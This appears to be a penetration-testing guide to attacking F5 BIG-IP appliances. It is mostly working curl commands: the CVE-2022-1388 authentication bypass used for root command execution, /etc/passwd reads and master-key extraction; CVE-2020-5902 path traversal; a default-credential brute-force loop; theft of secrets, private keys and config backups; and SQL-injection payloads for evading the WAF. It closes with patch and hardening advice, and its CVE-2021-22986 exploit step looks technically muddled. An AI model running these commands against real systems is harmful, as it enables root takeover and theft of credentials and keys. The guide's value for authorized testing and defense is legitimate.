BIG-IP Architecture and Attack Surface

F5 BIG-IP runs TMOS (Traffic Management Operating System) and presents multiple management and data plane attack surfaces:

Interface	Default Port	Auth Mechanism	Attack Surface
TMUI (Web GUI)	443 (management IP)	Username/password	CVE-2020-5902, admin credential brute force
iControl REST API	443 (management IP)	Basic auth, tokens	CVE-2022-1388, CVE-2021-22986, token theft
SSH (bash/tmsh)	22 (management IP)	Password or SSH key	Brute force, key compromise
iControl SOAP	443 (management IP)	Basic auth	Legacy API authentication bypass
Virtual Servers	80, 443 (data IP)	N/A (pass-through)	TLS decryption, iRules injection, ASM bypass
SNMP	UDP/161	Community strings	Default community, MIB enumeration
iSeries Platform Manager	8443	Username/password	Platform-level access

BIG-IP distinguishes between the management plane (TMUI, iControl REST, SSH — on the management IP) and the data plane (virtual servers handling production traffic — on data-plane IPs). Misconfigurations sometimes expose management interfaces on data-plane IPs, dramatically expanding the attack surface.

Fingerprinting and Version Detection

HTTP Fingerprinting

# TMUI login page fingerprint
curl -sk https://TARGET/ | grep -i "big-ip\|f5\|tmui\|bigip"

# F5 BIG-IP typically serves the TMUI on the management IP
curl -sk https://MGMT-IP/tmui/login.jsp | grep -i "version\|build\|big-ip"

# Version disclosure via response headers
curl -skI https://TARGET/ | grep -i "server\|x-wa-info"

# BIG-IP sometimes exposes version on the login page
curl -sk https://MGMT-IP/ | grep -oP 'version["\s:]+[\d\.]+'

# Check if management interface is exposed on data-plane IP (misconfiguration)
curl -sk https://DATA-PLANE-IP/tmui/login.jsp -o /dev/null -w "%{http_code}"
# 200 = management exposed on data plane (serious misconfiguration)

Nmap Detection

# Service detection on BIG-IP ports
nmap -sV -p 22,80,443,8443 MGMT-IP

# SSL certificate inspection (often reveals BIG-IP hostname)
nmap --script ssl-cert -p 443 MGMT-IP
openssl s_client -connect MGMT-IP:443 /dev/null | \
  openssl x509 -noout -subject -issuer

# F5 iRules often add custom headers to responses from virtual servers
curl -sI https://DATA-PLANE-IP/ | grep -i "x-\|server\|via"

Version Enumeration via API

# iControl REST exposes version without auth on some BIG-IP versions
curl -sk https://MGMT-IP/mgmt/tm/sys/version

# If auth required:
curl -sk -u admin:admin https://MGMT-IP/mgmt/tm/sys/version

# Response reveals TMOS version:
# {"kind":"tm:sys:version:versionstats","selfLink":"...","entries":{
#   "https://localhost/mgmt/tm/sys/version/0":{"nestedStats":{"entries":{
#     "Build":{"description":"0.0.5"},"Date":{"description":"..."},
#     "Edition":{"description":"Final"},"Product":{"description":"BIG-IP"},
#     "Title":{"description":"Main Package"},"Version":{"description":"16.1.3"}}}}}}

# Also check /mgmt/shared/authn/login (returns product info on error)
curl -sk -X POST https://MGMT-IP/mgmt/shared/authn/login \
  -H "Content-Type: application/json" \
  -d '{"username":"","password":""}'

CVE-2022-1388: iControl REST Authentication Bypass

CVE-2022-1388 (CVSS 9.8) is a critical authentication bypass in the iControl REST API. It affects BIG-IP versions 16.1.0–16.1.2, 15.1.0–15.1.5, 14.1.0–14.1.4, 13.1.0–13.1.4, and 12.1.0–12.1.6. The vulnerability allows an unauthenticated attacker to bypass authentication and execute system commands through the iControl REST endpoint by manipulating the X-F5-Auth-Token header and routing the request through the internal localhost interface.

Technical Mechanism

BIG-IP's iControl REST API authenticates requests differently when they originate from localhost. CVE-2022-1388 exploits the fact that the BIG-IP reverse proxy can be manipulated to forward requests as if they come from localhost by setting Connection: X-F5-Auth-Token and providing an empty X-F5-Auth-Token header — bypassing the normal credential check.

Detection and Exploitation Testing

# Test for CVE-2022-1388 vulnerability (version check first)
# Affected: BIG-IP 16.1.x < 16.1.2.2, 15.1.x < 15.1.5.1, 14.1.x < 14.1.4.6, 13.1.x < 13.1.4.1

# Step 1: Check if iControl REST API is accessible
curl -sk https://MGMT-IP/mgmt/tm/sys/version -o /dev/null -w "%{http_code}"
# 401 = API accessible but auth required (potentially vulnerable)
# 200 = API accessible without auth (likely already bypassed or misconfigured)

# Step 2: Test authentication bypass
curl -sk -X GET https://MGMT-IP/mgmt/tm/sys/version \
  -H "Connection: keep-alive, X-F5-Auth-Token" \
  -H "X-F5-Auth-Token: " \
  -H "Authorization: Basic YWRtaW46"

# Successful bypass returns version JSON instead of 401

# Step 3: Execute OS commands via bash endpoint (authorized testing only)
curl -sk -X POST https://MGMT-IP/mgmt/tm/util/bash \
  -H "Connection: keep-alive, X-F5-Auth-Token" \
  -H "X-F5-Auth-Token: " \
  -H "Authorization: Basic YWRtaW46" \
  -H "Content-Type: application/json" \
  -d '{"command": "run", "utilCmdArgs": "-c id"}'

# Expected response shows command output:
# {"commandResult":"uid=0(root) gid=0(root) groups=0(root)\n"}

# Extract /etc/passwd
curl -sk -X POST https://MGMT-IP/mgmt/tm/util/bash \
  -H "Connection: keep-alive, X-F5-Auth-Token" \
  -H "X-F5-Auth-Token: " \
  -H "Authorization: Basic YWRtaW46" \
  -H "Content-Type: application/json" \
  -d '{"command": "run", "utilCmdArgs": "-c \"cat /etc/passwd\""}'

# Extract master key (encrypted secrets in BIG-IP config)
curl -sk -X POST https://MGMT-IP/mgmt/tm/util/bash \
  -H "Connection: keep-alive, X-F5-Auth-Token" \
  -H "X-F5-Auth-Token: " \
  -H "Authorization: Basic YWRtaW46" \
  -H "Content-Type: application/json" \
  -d '{"command": "run", "utilCmdArgs": "-c \"f5mku -K\""}'

F5 Master Key Decryption

# The F5 master key encrypts all secrets in BIG-IP configuration
# Extract master key first
f5mku -K
# Output: /Common/secure-vault key: HEXKEY

# Then decrypt encrypted config values
f5mku -d -k HEXKEY -s "ENCRYPTED_VALUE"

# BIG-IP stores encrypted values in format: $M$KEYID$ENCRYPTEDVALUE
# Example from TMSH config: password "$M$ZN$ABC123=="

# Alternative: extract secrets from /config/bigip.conf directly
cat /config/bigip.conf | grep -E "password|secret|passphrase" | head -20

CVE-2021-22986: iControl REST Unauthenticated RCE

CVE-2021-22986 (CVSS 9.8) is another critical iControl REST API vulnerability, affecting BIG-IP 16.0.x, 15.1.x, 14.1.x, 13.1.x, and 12.1.x before their respective patches. Similar to CVE-2022-1388 in impact, it allows unauthenticated remote code execution through the iControl REST API.

# Check if target is in affected version range
# BIG-IP < 16.0.1.1, 15.1.x < 15.1.2.1, 14.1.x < 14.1.4, 13.1.x < 13.1.3.6

# Test for CVE-2021-22986
curl -sk -X POST https://MGMT-IP/mgmt/shared/authn/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","loginReference":{"link":"http://localhost/mgmt/shared/authz/tokens"}}'

# Successful exploitation: manipulate the loginProviderName to trigger SSRF
curl -sk -X POST "https://MGMT-IP/mgmt/tm/util/bash" \
  -H "Content-Type: application/json" \
  -H "Authorization: Basic YWRtaW46" \
  --resolve "localhost:443:127.0.0.1" \
  -d '{"command":"run","utilCmdArgs":"-c id"}'

Management Interface Testing (TMUI)

Default and Common Credentials

# F5 BIG-IP default credentials
# Username: admin
# Password: admin (or device-specific default printed on hardware)

# Test default credentials
curl -sk -X POST https://MGMT-IP/mgmt/shared/authn/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin","loginProviderName":"tmos"}' | \
  jq '.token.token // "AUTH FAILED"'

# Also check root account (CLI access only by default, not REST)
# Root default password: default (on older versions)

# Common credentials in enterprise deployments
for cred in "admin:admin" "admin:f5pass" "admin:default" "root:default" "admin:bigip"; do
  user=$(echo $cred | cut -d: -f1)
  pass=$(echo $cred | cut -d: -f2)
  result=$(curl -sk -X POST https://MGMT-IP/mgmt/shared/authn/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$user\",\"password\":\"$pass\",\"loginProviderName\":\"tmos\"}" | \
    jq -r '.token.token // "FAIL"')
  echo "$cred -> $result"
done

CVE-2020-5902: TMUI Path Traversal RCE

# CVE-2020-5902 (CVSS 10.0) - Path traversal in TMUI
# Affects BIG-IP 15.0.x, 14.1.x, 13.1.x, 12.1.x, 11.6.x

# Test for vulnerability (version check)
# If TMUI returns 200 on this path, the system is likely vulnerable
curl -sk "https://MGMT-IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | head -20

# Read arbitrary files via path traversal
curl -sk "https://MGMT-IP/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"

# Execute commands via the workspace endpoint
curl -sk -X POST \
  "https://MGMT-IP/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp" \
  -d "command=list+auth+user+admin"

iControl REST API Enumeration

Once authenticated (or after exploiting a CVE), the iControl REST API exposes complete device configuration.

Authentication and Session Management

# Authenticate and get token
TOKEN=$(curl -sk -X POST https://MGMT-IP/mgmt/shared/authn/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"PASS","loginProviderName":"tmos"}' | \
  jq -r '.token.token')

echo "Token: $TOKEN"

# Use token for subsequent requests
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/sys/version

High-Value API Endpoints

# List all admin users
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/auth/user | jq '.items[] | {name, partition, shell}'

# Virtual server configuration (reveals backend pool members)
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/ltm/virtual | \
  jq '.items[] | {name, destination, pool, rules}'

# Pool member IPs and ports (internal network map)
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/ltm/pool | \
  jq '.items[] | {name, members: .membersReference}'

curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  "https://MGMT-IP/mgmt/tm/ltm/pool/~Common~POOLNAME/members" | \
  jq '.items[] | {name, address, port}'

# SSL profiles (certificate and key extraction)
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/ltm/profile/client-ssl | \
  jq '.items[] | {name, cert, key, chain}'

# LDAP auth configuration
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/auth/ldap | \
  jq '.items[] | {name, servers, bindDn, bindPw}'

# RADIUS auth configuration
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/auth/radius-server | \
  jq '.items[] | {name, server, secret}'

# System NTP, DNS, syslog (reveals internal infrastructure)
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/sys/ntp | jq '.'

# Execute arbitrary bash commands (with admin access)
curl -sk -X POST -H "X-F5-Auth-Token: $TOKEN" \
  -H "Content-Type: application/json" \
  https://MGMT-IP/mgmt/tm/util/bash \
  -d '{"command":"run","utilCmdArgs":"-c \"tmsh list /sys global-settings\""}' | \
  jq '.commandResult'

iRules Credential and Secret Exposure

iRules are Tcl scripts that run on BIG-IP virtual servers to manipulate traffic. They commonly contain hardcoded credentials, API keys, and sensitive business logic.

iRules Enumeration

# List all iRules
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/ltm/rule | jq '.items[] | {name, fullPath}'

# Get iRule source code for a specific rule
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  "https://MGMT-IP/mgmt/tm/ltm/rule/~Common~RULENAME" | jq '.apiAnonymous'

# Bulk extract all iRule source code and search for secrets
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/ltm/rule | \
  jq '.items[].apiAnonymous' | grep -iE "password|secret|key|token|credential"

# Common sensitive patterns in iRules
# - Hardcoded backend API credentials
# - Cleartext database connection strings
# - JWT signing secrets
# - OAuth client secrets
# - Internal service URLs with embedded credentials

iRule Security Issues

# Example dangerous iRule patterns:

# 1. Hardcoded credentials in HTTP header injection
# set auth_header [binary format H* [b64encode "admin:hardcoded_pass"]]
# HTTP::header replace "Authorization" "Basic $auth_header"

# 2. SQL injection via unvalidated iRule variable
# set query "SELECT * FROM users WHERE id = [HTTP::query param userid]"

# 3. Client certificate bypass logic
# if { [SSL::cert count] == 0 } { HTTP::respond 200 ... }
# (missing the actual cert validation)

# Extract iRules via TMSH (if SSH access obtained)
tmsh list /ltm rule all-properties recursive
tmsh list /ltm rule RULENAME

TMSH Configuration Extraction

The TMSH (Traffic Management Shell) provides comprehensive configuration access via CLI or API.

Full Config Backup

# Via iControl REST (requires admin)
curl -sk -X POST -H "X-F5-Auth-Token: $TOKEN" \
  -H "Content-Type: application/json" \
  https://MGMT-IP/mgmt/tm/sys/ucs \
  -d '{"command":"save","name":"pentest-backup.ucs"}'

# Download the UCS archive (contains full config + certs + keys)
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  -o pentest-backup.ucs \
  "https://MGMT-IP/mgmt/shared/file-transfer/ucs-downloads/pentest-backup.ucs"

# UCS files are tar archives
mkdir ucs-extracted
cd ucs-extracted
tar xf ../pentest-backup.ucs

# Extract all passwords, secrets, keys
grep -r "password\|secret\|passphrase" . | grep -v "^\./usr\|^\./lib" | head -30

# Extract SSL private keys
find . -name "*.key" -exec ls -la {} \;
cat ./etc/config/ssl.crt/*.key

# The bigip.conf file contains complete configuration
grep -E "password|secret|passphrase" ./config/bigip.conf

SSL Certificate and Key Extraction

# List all SSL certificates and keys
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/sys/file/ssl-cert | jq '.items[] | {name, fileName}'

curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/sys/file/ssl-key | jq '.items[] | {name, fileName}'

# Download a specific private key
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  "https://MGMT-IP/mgmt/shared/file-transfer/ssl-keys/server.key" -o server.key

# Via bash (if RCE obtained)
ls /config/filestore/files_d/Common_d/certificate_key_d/
cat /config/filestore/files_d/Common_d/certificate_key_d/*.key

BIG-IP ASM/WAF Bypass Techniques

BIG-IP ASM (Advanced Security Manager) is a popular WAF. Understanding bypass techniques is essential for authorized red team testing against ASM-protected applications.

Common ASM Bypass Vectors

# 1. Encoding-based bypasses
# Double URL encoding
curl "https://TARGET/%2527select%2520*%2520from%2520users"
# Unicode encoding
curl "https://TARGET/?id=1%u0027%20OR%20%u00271%u0027=%u00271"

# 2. Case variation (ASM signature matching)
curl "https://TARGET/?id=1' oR '1'='1"
curl "https://TARGET/?id=1' Or/**/1=1--"

# 3. Comment injection in SQL
curl "https://TARGET/?id=1'/**/UNION/**/SELECT/**/1,2,3--"

# 4. HTTP verb tampering
# ASM may not inspect all HTTP methods equally
curl -X PUT "https://TARGET/api/query?id=1' OR '1'='1"

# 5. Content-Type manipulation
curl -X POST "https://TARGET/api/search" \
  -H "Content-Type: application/xml" \
  -d "test' OR '1'='1"

# 6. Large payload fragmentation
# ASM may have inspection limits on very large bodies

# 7. Transfer-Encoding header abuse
curl -X POST "https://TARGET/api/data" \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary $'7\r\nid=1'+\r\n4\r\n'OR '\r\n3\r\n'1=1\r\n0\r\n\r\n'

ASM Policy Enumeration

# Check ASM policy configuration via API
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  https://MGMT-IP/mgmt/tm/asm/policies | jq '.items[] | {name, virtualServers, enforcementMode}'

# Get specific policy details
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  "https://MGMT-IP/mgmt/tm/asm/policies/POLICYID" | jq '.'

# List allowed URLs (shows what endpoints are in scope)
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  "https://MGMT-IP/mgmt/tm/asm/policies/POLICYID/urls" | \
  jq '.items[] | {name, method, protocol}'

# Check signature sets in use
curl -sk -H "X-F5-Auth-Token: $TOKEN" \
  "https://MGMT-IP/mgmt/tm/asm/policies/POLICYID/signature-sets" | \
  jq '.items[] | {name, learn, alarm, block}'

Remediation and Hardening

Critical CVE Patch Summary

CVE	CVSS	Fix Version	Component
CVE-2022-1388	9.8	BIG-IP 17.0.0, 16.1.2.2, 15.1.5.1, 14.1.4.6, 13.1.4.1	iControl REST API
CVE-2021-22986	9.8	BIG-IP 16.0.1.1, 15.1.2.1, 14.1.4, 13.1.3.6, 12.1.5.3	iControl REST API
CVE-2020-5902	10.0	BIG-IP 15.1.0.4, 14.1.2.6, 13.1.3.4, 12.1.5.2, 11.6.5.2	TMUI
CVE-2023-22374	8.5	BIG-IP 17.0.0.1, 16.1.3.2, 15.1.7, 14.1.5.3, 13.1.5.1	iControl SOAP

Hardening Checklist

• Restrict management access — block all access to the management IP from external/untrusted networks using tmsh modify sys global-settings mgmt-dhcp disabled and network ACLs
• Disable unused interfaces — if TMUI is not required for day-to-day operations, restrict access to management VLANs only
• Change default credentials immediately — set strong passwords for both admin and root accounts
• Enable two-factor authentication — configure external authentication (RADIUS/LDAP) with 2FA for admin access
• Rotate the master key — after any suspected compromise, rotate the BIG-IP master key to invalidate all cached decrypted secrets
• Audit iRules for hardcoded credentials — review all iRules for embedded secrets; move credentials to data groups or external storage
• Enable TLS 1.3 only — configure client-SSL profiles to use TLS 1.3 minimum; disable TLS 1.0 and 1.1
• Implement ASM in blocking mode — change ASM policy enforcement from transparent to blocking after initial tuning
• Enable BIG-IP iHealth monitoring — subscribe to F5 security advisories and use iHealth for ongoing configuration assessment